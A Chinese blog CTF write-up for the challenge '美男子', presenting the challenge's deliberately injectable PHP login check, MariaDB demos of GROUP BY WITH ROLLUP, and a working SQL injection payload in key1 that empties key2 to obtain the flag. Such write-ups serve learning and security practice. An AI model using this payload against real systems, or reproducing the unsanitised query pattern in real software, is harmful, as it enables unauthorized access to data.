1674天 博客通用头像 Edwiin

本人熟练掌握linux,windows的开关机,擅长nfs,samba,ftp,dhcp,bind,apache,mail等各项服务的安装与卸载,精通shell,mysql,iptables,selinux等单词的拼写,了解虚拟化,存储,集群等相关汉字的书写。

美男子-writeup

发布于 3个月前 / 40 次围观 / 0 条评论 / CTF / Edwiin
本文最后更新于2020-6-29,已超过 1 个月没有更新,如果文章内容或图片资源失效,请【留言反馈】,我会及时处理,谢谢!

Description

我还是想安静的做一个美男子

题目地址http://101.71.29.5:10011

Hacking

代码得到 index.phps

<?php
include 'global.php';

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if(is_array($StrValue))
    {
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrtValue)==1){   
        print "holy shit!";
        exit();
    }      
} 

$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}


if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
    print <<<DBAPP

<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
    die;
}



$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'"); 
if(mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['key2'] == $_POST['key2']) {
        print $flag;
    }else{
        print "Error!";
        }
}else{
    print "Error!";
}

看了一下题目,注入点在 key1 处,可以用单引号闭合,但是需要查询结果得到的 key2 与传入的 key2 相等才能拿到 flag。我猜测是不是可以有类似 limit 或者 union 的操作, 控制查询key2 我们就可以传入控制点了

然后我就发现竟然是个原题… PHDays 2013 CTF “Blade” Writeup ,利用了 GROUP BY WITH ROLLUP ,相关文档: GROUP BY Modifiers

大概效果就是以下这个样子:

MariaDB [test]> select * from user  where id =1 GROUP BY id WITH ROLLUP LIMIT 1 OFFSET 1;
+------+----------+--------+
| id   | username | passwd |
+------+----------+--------+
| NULL | admin    | admin  |
+------+----------+--------+
1 row in set (0.001 sec)

MariaDB [test]> select * from user  where id =1 GROUP BY username WITH ROLLUP LIMIT 1 OFFSET 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | NULL     | admin  |
+----+----------+--------+
1 row in set (0.000 sec)

所以这里我们只需要让 key2 为空就行了。

key1=' or 1=1 GROUP BY key2 WITH ROLLUP LIMIT 1 OFFSET 1;#&key2=

解出FLAG{e56535118a73432fbecbb2a2a17b259c}

QQ截图20200629170357.png

全站顶部广告位

  • 支付宝赞助图片
  • 微信赞助图片
  • QQ赞助图片
头像
描述: 还好有你,再见如初。

Press Space to start